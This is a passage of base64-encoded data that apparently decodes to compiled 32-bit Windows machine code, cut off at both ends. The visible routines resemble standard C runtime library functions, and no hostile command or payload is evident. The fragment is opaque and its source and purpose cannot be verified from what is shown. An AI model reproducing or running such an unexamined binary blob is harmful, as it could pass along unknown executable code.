/AB0CotN8IOhUAMAAP2Lxl6L5V3D6KCv//8zyYTAD5TBi8HDi/9Vi+yh2EEKEIXAdQZd6e/i//9qAP91EP91DP91COgFAAAAg8QQXcOL/1WL7IPsEI1N8FNWV/91FOhxhf7/i0UQhcB1BzP26Y0AAACLTQiFyXQHi1UMhdJ1F+hAWf//xwAWAAAA6P5V//++////f+tovv///387xnYS6CBZ///HABYAAADo3lX//+tNi330i5+kAAAAhdt1E4119FZQUlHoyeL//4PEEIvw6y3/dxBQUlBRaAEQAACNRfRTUOhpEgAAg8QghcB1DejRWP//xwAWAAAA6wONcP6AffwAdAqLTfCDoVADAAD9X4vGXluL5V3Di/9Vi+yLTQgzwDgBdAw7RQx0B0CAPAgAdfRdw4v/VYvsVugv7///i3UIiQboaO///4lGBDPAXl3Di/9Vi+xRUYNl+ACDZfwAVot1CP826O7v////dgToZvD//41F+FDouP///4sGg8QMO0X4dQyLRgQ7Rfx1BDPA6wMzwEBei+Vdw4v/VYvsUVGDZfgAjUX4g2X8AFDogv///1mFwHQFM8BA6ymLTQiLVfiLRfyJQQSNRfiJEYPKH1CJVfjoeP///1mFwHXZ6LYRAAAzwIvlXcPMzMzMzMzMzMyDPeBMChAAD4SCAAAAg+wID65cJASLRCQEJYB/AAA9gB8AAHUP2TwkZosEJGaD4H9mg/h/jWQkCHVV6XkSAACQgz3gTAoQAHQyg+wID65cJASLRCQEJYB/AAA9gB8AAHUP2TwkZosEJGaD4H9mg/h/jWQkCHUF6SUSAACD7AzdFCToMhkAAOgNAAAAg8QMw41UJATo3RgAAFKb2TwkdEyLRCQMZoE8JH8CdAbZLRh1BxCpAADwf3ReqQAAAIB1Qdns2cnZ8YM9JEcKEAAPhfwYAACNDQBzBxC6GwAAAOn5GAAAqQAAAIB1F+vUqf//DwB1HYN8JAgAdRYlAAAAgHTF3djbLdB0BxC4AQAAAOsi6EgYAADrG6n//w8AdcWDfCQIAHW+3djbLXp0BxC4AgAAAIM9JEcKEAAPhZAYAACNDQBzBxC6GwAAAOiJGQAAWsODPeBMChAAD4TOGwAAg+wID65cJASLRCQEJYB/AAA9gB8AAHUP2TwkZosEJGaD4H9mg/h/jWQkCA+FnRsAAOsA8w9+RCQEZg8oFSBzBxBmDyjIZg8o+GYPc9A0Zg9+wGYPVAVAcwcQZg/60GYP08qpAAgAAHRMPf8LAAB8fWYP88o9MgwAAH8LZg/WTCQE3UQkBMNmDy7/eyS67AMAAIPsEIlUJAyL1IPCFIlUJAiJVCQEiRQk6AkZAACDxBDdRCQEw/MPfkQkBGYP88pmDyjYZg/CwQY9/wMAAHwlPTIEAAB/sGYPVAUQcwcQ8g9YyGYP1kwkBN1EJATD3QVQcwcQw2YPwh0wcwcQBmYPVB0QcwcQZg/WXCQE3UQkBMMzwFBQagNQagNoAAAAQGhYcwcQ/xVsIwcQo2AYChDDoWAYChCD+P90DIP4/nQHUP8VfCMHEMPMzMzMzMzMzMzMzMzMVYvsV1ZTi00QC8l0TYt1CIt9DLdBs1q2II1JAIomCuSKB3QnCsB0I4PGAYPHATrncgY643cCAuY6x3IGOsN3AgLGOuB1C4PpAXXRM8k64HQJuf////9yAvfZi8FbXl/Jw4v/VYvsg+wQVleLfQgz9moBVlZX6Kbd//+LyIlF8CPKiVX0g8QQg/n/dQzoklT//4sA6VQBAABqAlZWV+h+3f//i8iDxBAjyoP5/3TeU4tdDCvYi0UQG8KJRfwPiNgAAAB/CDveD4bOAAAAagFoABAAAOioTv//i/BZWYX2dRDoPlT//8cADAAAAOmYAAAAaACAAABX6H6q/v9ZiUX4i0X8WYXAfBF/CIH7ABAAAHIHuAAQAADrAovDUFZX6NR9//+DxAyD+P90SZkr2ItF/BvCiUX8hcB/2HwEhdt1xP91+FfoMar+/1boDU3//4PEDDP2Vv919P918FfowNz//yPCg8QQg/j/dX/otFP//4sA63jomFP//4M4BXUL6KFT///HAA0AAADollP//1aLOOjGTP//WYvH61E7xn+1fAQ73nOvVv91EP91DFfob9z//yPCg8QQg/j/dK9X6CeG//9ZUP8VICMHEIXAdYboUVP//8cADQAAAOgzU///i/D/FXQjBxCJBuuBM8BbX16L5V3Di/9Vi+yD7BiLRQiLTQiD4D+LVQxTwfkGVldr+DCLBI3gQQoQiU3wi0w4GIlN7ItNEIXJdAyAOgp1B4BMOCgE6wWAZDgo+40ECovaiUX4i/I70A+D9AAAAI1CAYoLgPkaD4THAAAAgPkNdAqIDkZDQOmrAAAAi034O8FzH4A4CnUPg8MCxgYKg8ACRumTAAAAxgYNRkNA6YgAAABDQGoAiUX0jUXoUGoBjUX/UP917P8VZCMHEIXAdF2DfegAdFeLTfCLBI3gQQoQ9kQ4KEh0HIpV/4D6CnUEiBbrPsYGDYsEjeBBChCIVDgq6y6Aff8KdQ2LVQw78nUGxgYKRuseagFq/2r//3UI6CHb//+DxBCAff8KdATGBg1Gi1UMi0X0i034O9kPgjD////rH4tN8IsMjeBBChCKRDkoqEB1CAwCiEQ5KOsFiguIDkYr8l+Lxl5bi+Vdw4v/VYvsg+wYi0UIi00Ig+A/U1aLdRBXwfkGa/gwiU34agqLBI3gQQoQW4tUOBiJVeyLVQyF9nQMZjkadQeATDgoBOsFgGQ4KPuNBHKL2olF8IvyO9APg1cBAACNQgIPtwuJTfSD+RqLTfgPhCIBAABqDVpmOVX0i1UMdBSLTfSDwwJmiQ6DxgKDwALp9wAAADtF8HMzagpaZjkQi1UMdRRqClmDwwRmiQ6DwASDxgLp0wAAAGoNWmaJFoPDAoPGAoPAAum8AAAAg8ACg8MCagCJRfSNRehQagKNRfxQ/3Xs/xVkIwcQhcAPhIoAAACDfegAD4SAAAAAi034agqLBI3gQQoQ9kQ4KEhYdDpmi1X8ZjvQdQVmiQbrZ2oNWGaJBosEjeBBChBqCohUOCqLBI3gQQoQiHQ4K4sEjeBBChBaiFQ4LOs7ZjlF/HUSi1UMO/J1C2aJBoPGAotF9OspagFq/2r+/3UI6GvZ//+DxBBqClhmOUX8dAlqDVhmiQaDxgKLRfSLVQw7XfAPgs7+///rIIsMjeBBChCKRDkoqEB1CAwCiEQ5KOsJZosLZokOg8YCK/KD5v5fi8ZeW4vlXcOL/1WL7FFRU/91EItdDFP/dQjo0vz//4vIg8QMhckPhCcBAACLRQiLVQiD4D/B+gZXa/gwiVX8iwSV4EEKEIlF+IB8OCkAdQeLwen7AAAAVo1z/wPxigaEwHgGRumbAAAAM9IPtsBC6w6D+gR3Ejvzcg5OQg+2BoC4cBgKEAB06YoOD7bBD76AcBgKEIXAdRDohU///8cAKgAAAOmGAAAAQDvCdQQD8utTi0X49kQ4KEh0NUaITDgqg/oCchGLTfyKBkaLDI3gQQoQiEQ5K4P6A3URi0X8iwyF4EEKEIoGRohEOSwr8usU99qLwmoBmVJQ/3UI6B7Y//+DxBD/dRgr8/91FFZTagBo6f0AAP8VBCMHEIvQhdJ1Ev8VdCMHEFDov07//1mDyP/rHotF/DvWiwyF4EEKEA+VwALAMkQ5LSQCMEQ5LY0EEl5fW4vlXcOL/1WL7ItFEFZXi30Mi/eNFEeLxzv6c16NTwJTD7cYg/sadDeD+w11IDvKcxxqCl9mOTmLfQx1EWoKW4PABGaJHoPBBIPGAusMZokeg8ACg8YCg8ECO8Jyw+sai0UIi8iD4D/B+QZr0DCLDI3gQQoQgEwRKAJbK/eD5v5fi8ZeXcOL/1WL7IPsKFOLXQhXg/v+dRjoH07//4MgAOgqTv//xwAJAAAA6YIDAACF2w+IYgMAADsd4EMKEA+DVgMAAIvDx0XsAQAAAIPgP4v7wf8Ga9AwiX3wiwS94EEKEIlV6IpMAiiITf/2wQEPhCUDAACLTRCB+f///392GOi3Tf//gyAA6MJN///HABYAAADpFQMAAIXJD4T2AgAA9kX/Ag+F7AIAAIN9DAB00FaLdAIYikQCKYhF/4l15DP2D77Ag+gBdBuD6AF1CIvB99CoAXQZi0UMiU30iUX46ZwAAACLVeyLwffQhMJ1HOhITf//ITDoVE3//8cAFgAAAOgSSv//6cIBAABqBFjR6YlF9DvIcgWLwYlN9FDon0b//2oAi/DoXEb//2oA6FVG//+DxAyJdfiF9nUb6A5N///HAAwAAADo8Ez//8cACAAAAOl2AQAA/3XsagBqAFPo6NX//4sMveBBChCDxBCLfeiJRA8gi8aJVA8ki9eLTfSLXfAz/4lF3IscneBBChCJXeD2RBooSItdCA+EzgAAAItd4IpcGiqIXf6A+wqLXQgPhLgAAACFyQ+EsAAAAIpd/ot97IgYQItdCEmAff8AiUX4i0XwiU30iwSF4EEKEMZEAioKD4SEAAAAi0XwiwSF4EEKEIpEAiuIRf48CnRvhcl0a4tF+Ipd/moCX4gYQItdCEmJRfiLRfCJTfSLBIXgQQoQxkQCKwqKRf86Rex1PotF8IsEheBBChCKRAIsiEX+PAp0KYXJdCWLRfiKXf5qA1+IGECLXQhJiUX4i0XwiU30iwSF4EEKEMZEAiwKU+gezv//WYXAdHGLRfCLTeiLBIXgQQoQ9kQBKIB0XY1F2FD/deT/FdghBxCFwHRMgH3/AnVKagCNReBQi0X00ehQ/3X4/3Xk/xV0IgcQhcB1H/8VdCMHEFDoTUv//1mDz/9W6LFE//9Zi8de6dYAAACLReCLTRCNPEfrKcZF7ABqAI1F4FCLRfRQ/3X4/3Xk/xVkIwcQhcB0WotNEDlN4HdSA33gi0Xwi1XoiwSF4EEKEPZEAiiAdKmAff8CdBfR6VH/dQxX/3X4U+j4+v//g8QUi/jrjNHvgH3sAFf/ddxTdAroL/z//4PEDOvl6BX5///r9P8VdCMHEGoFXzvHdRfo20r//8cACQAAAOi9Sv//iTjpR////4P4bQ+FN////zP/6Tr///8zwOsb6J1K//+DIADoqEr//8cACQAAAOhmR///g8j/X1uL5V3Di/9Vi+xRVlfo/z3//4v4hf90ToN9CAB0SIt1CI1OAYoGRoTAdfkr8esyixeLyo1BAYlF/IoBQYTAdfkrTfw7znYXgDwyPXURVv91CFLoovD//4PEDIXAdBCDxwSDPwB1yTPAX16L5V3DiwdAA8br82oMaDjpCRDolVD+/4Nl5ABqC+jXa///WYNl/AD/dRT/dRD/dQz/dQjoKAAAAIPEEIvwiXXkx0X8/v///+gLAAAAi8bon1D+/8OLdeRqC+jja///WcOL/1WL7FFTi10IVoXbdRPou0n//2oWXokw6HpG//+LxutJgyMAi3UQV4t9DIX/dEGF9nRBhf90A8YHAP91FOj4/v//i9BZhdJ0TYvKjUEBiUX8igFBhMB1+StN/EGJC4X2dDQ7znYhaiJYX15bi+Vdw4X2dL/oVUn//2oWXokw6BRG//+LxuviUlZX6P9C//+DxAyFwHUEM8DrzzPAUFBQUFDoAUb//8yL/1WL7F3p+P7//4v/VYvsg+wsoRgQChAzxYlF/ItFCFNWi3UYiUXYi0UMiUXUi0UciUXcV4t9FIl94IX2fiJWV+g08P//WYvwi0XcWYtdIIXbfhlTUOgf8P//WVmL2OsRg/7/feczwOkyAgAAg/v/fPSLRSSFwHULi0XYiwCLQAiJRSSF9nQIhdsPhZ0AAAA783UIagJY6QMCAACD+wF+CDPAQOn2AQAAg/4BfgRqA+vkjU3oUVD/FbwhBxCFwHSlhfZ+L2oCWDlF6HLhgH3uAI1N7nTYilEBhNJ00YofOhlyCDraD4a0AQAAA8iAOQB15Ou6hdt+NWoCWDlF6HKhgH3uAI1N7nSYi3XcilEBhNJ0jooeOhlyCDraD4Z+AQAAA8iAOQB15Ol0////M/9XV1b/deBqCf91JP8VBCMHEIlF2IXAD4Qb////jRQAjUoIO9EbwIXBdFmNSgg70RvAI8GNSgg9AAQAAHcgO9EbwCPB6I0eAACLxIlF5IXAD4QPAQAAxwDMzAAA6x470RvAI8FQ6AFB//+JReRZhcAPhO8AAADHAN3dAACDwAiJReTrBYvHiX3khcAPhNQAAAD/ddhQVv914It1JGoBVv8VBCMHEIXAD4S4AAAAV1dT/3XcaglW/xUEIwcQiUXghcAPhJ4AAACNFACNSgg70RvAhcF0So1KCDvRG8AjwY1KCD0ABAAAdxk70RvAI8Ho4x0AAIv0hfZ0YMcGzMwAAOsZO9EbwCPBUOheQP//i/BZhfZ0RccG3d0AAIPGCOsCi/eF9nQ0/3XgVlP/ddxqAf91JP8VBCMHEIXAdB2LXeRXV1f/deBW/3XYU/91EP911OgOYv//i/jrA4td5FbojJL//1nrA4td5FPogJL//1mLx41lyF9eW4tN/DPN6AFP/v+L5V3Di/9Vi+yD7BD/dQiNTfDocXL+//91JI1F9P91IP91HP91GP91FP91EP91DFDoJ/3//4PEIIB9/AB0CotN8IOhUAMAAP2L5V3Di/9Vi+yD7Azdffzb4oM9hDwKEAEPjIMAAABmi0X8M8mL0Ve/AAAIAKg/dCmoAXQDahBaqAR0A4PKCKgIdAODygSoEHQDg8oCqCB0A4PKAagCdAIL1w+uXfiLRfiD4MCJRfQPrlX0i0X4qD90KagBdANqEFmoBHQDg8kIqAh0A4PJBKgQdAODyQKoIHQDg8kBqAJ0AgvPC8qLwV/rPWaLTfwzwPbBP3Qy9sEBdANqEFj2wQR0A4PICPbBCHQDg8gE9sEQdAODyAL2wSB0A4PIAfbBAnQFDQAACACL5V3DagroclD+/6PgTAoQM8DDzMzMzMzMzMzMzMzMVYvsg+wIg+Tw3Rwk8w9+BCToCAAAAMnDZg8SRCQEugAAAABmDyjoZg8UwGYPc9U0Zg/FzQBmDygNcHMHEGYPKBWAcwcQZg8oHeBzBxBmDyglkHMHEGYPKDWgcwcQZg9UwWYPVsNmD1jgZg/FxAAl8AcAAGYPKKCweQcQZg8ouKB1BxBmD1TwZg9cxmYPWfRmD1zy8g9Y/mYPWcRmDyjgZg9YxoHh/w8AAIPpAYH5/QcAAA+HvgAAAIHp/gMAAAPK8g8q8WYPFPbB4QoDwbkQAAAAugAAAACD+AAPRNFmDygNMHQHEGYPKNhmDygVQHQHEGYPWchmD1nbZg9YymYPKBVQdAcQ8g9Z22YPKC2wcwcQZg9Z9WYPKKrAcwcQZg9U5WYPWP5mD1j8Zg9ZyPIPWdhmD1jKZg8oFWB0BxBmD1nQZg8o92YPFfZmD1nLg+wQZg8owWYPWMpmDxXA8g9YwfIPWMbyD1jHZg8TRCQE3UQkBIPEEMNmDxJEJARmDygN8HMHEPIPwsgAZg/FwQCD+AB3SIP5/3Regfn+BwAAd2xmDxJEJARmDygNcHMHEGYPKBXgcwcQZg9UwWYPVsLyD8LQAGYPxcIAg/gAdAfdBRh0BxDDuukDAADrT2YPEhXgcwcQ8g9e0GYPEg0QdAcQuggAAADrNGYPEg0AdAcQ8g9ZwbrM////6Rf+//+DwQGB4f8HAACB+f8HAABzOmYPV8nyD17JugkAAACD7BxmDxNMJBCJVCQMi9SDwhCJVCQIg8IQiVQkBIkUJOgkBgAA3UQkEIPEHMNmDxJUJARmDxJEJARmD37QZg9z0iBmD37RgeH//w8AC8GD+AB0oLrpAwAA66aNpCQAAAAA6wPMzMzGhXD////+Cu11O9nJ2fHrDcaFcP////4y7dnq3snoKwEAANno3sH2hWH///8BdATZ6N7x9sJAdQLZ/QrtdALZ4OmyAgAA6EYBAAALwHQUMu2D+AJ0AvbV2cnZ4euv6bUCAADpSwMAAN3Y3djbLXB0BxDGhXD///8Cw9nt2cnZ5JvdvWD///+b9oVh////QXXS2fHDxoVw////At3Y2y16dAcQwwrJdVPD2ezrAtnt2ckKyXWu2fHD6VsCAADozwAAAN3Y3dgKyXUO2e6D+AF1BgrtdALZ4MPGhXD///8C2y1wdAcQg/gBde0K7XTp2eDr5d3Y6Q0CAADd2Om1AgAAWNnkm929YP///5v2hWH///8BdQ/d2NstcHQHEArtdALZ4MPGhXD///8E6dcBAADd2N3Y2y1wdAcQxoVw////A8MKyXWv3djbLXB0BxDD2cDZ4dstjnQHEN7Zm929YP///5v2hWH///9BdZXZwNn82eSb3b1g////m4qVYf///9nJ2OHZ5JvdvWD////Z4dnww9nA2fzY2Zvf4J51GtnA3A2idAcQ2cDZ/N7Zm9/gnnQNuAEAAADDuAAAAADr+LgCAAAA6/FWg+x0i/RWg+wI3Rwkg+wI3Rwkm912COjpBwAAg8QU3WYI3QaDxHRehcB0BenQAQAAw8zMzMzMzMzMzIB6DgV1EWaLnVz///+AzwKA5/6zP+sEZrs/E2aJnV7////ZrV7///+7/nQHENnliZVs////m929YP///8aFcP///wCbio1h////0OHQ+dDBisEkD9cPvsCB4QQEAACL2gPYg8MQ/yOAeg4FdRFmi51c////gM8CgOf+sz/rBGa7PxNmiZ1e////2a1e////u/50BxDZ5YmVbP///5vdvWD////GhXD///8A2cmKjWH////Z5ZvdvWD////ZyYqtYf///9Dl0P3QxYrFJA/XiuDQ4dD50MGKwSQP19Dk0OQKxA++wIHhBAQAAIvaA9iDwxD/I+jOAAAA2cnd2MPoxAAAAOv23djd2Nnuw93Y3djZ7oTtdALZ4MPd2N3Y2ejD271i////261i////9oVp////QHQIxoVw////AMPGhXD///8A3AXudAcQw9nJ271i////261i////9oVp////QHQJxoVw////AOsHxoVw////AN7Bw9u9Yv///9utYv////aFaf///0B0INnJ271i////261i////9oVp////QHQJxoVw////AOsHxoVw////Ad7Bw93Y3djbLdB0BxCAvXD///8AfwfGhXD///8BCsnD3djd2Nst5HQHEArtdALZ4ArJdAjdBfZ0BxDeycMKyXQC2eDDzMzMzMzMzMzMzMzM2cDZ/Nzh2cnZ4Nnw2ejewdn93dnDi1QkBIHiAAMAAIPKf2aJVCQG2WwkBsOpAAAIAHQGuAAAAADD3AUQdQcQuAAAAADDi0IEJQAA8H89AADwf3QD3QLDi0IEg+wKDQAA/3+JRCQGi0IEiwoPpMgLweELiUQkBIkMJNssJIPECqkAAAAAi0IEw4tEJAglAADwfz0AAPB/dAHDi0QkCMNmgTwkfwJ0A9ksJFrDZosEJGY9fwJ0HmaD4CB0FZvf4GaD4CB0DLgIAAAA6NkAAABaw9ksJFrDg+wI3RQki0QkBIPECCUAAPB/6xSD7AjdFCSLRCQEg8QIJQAA8H90PT0A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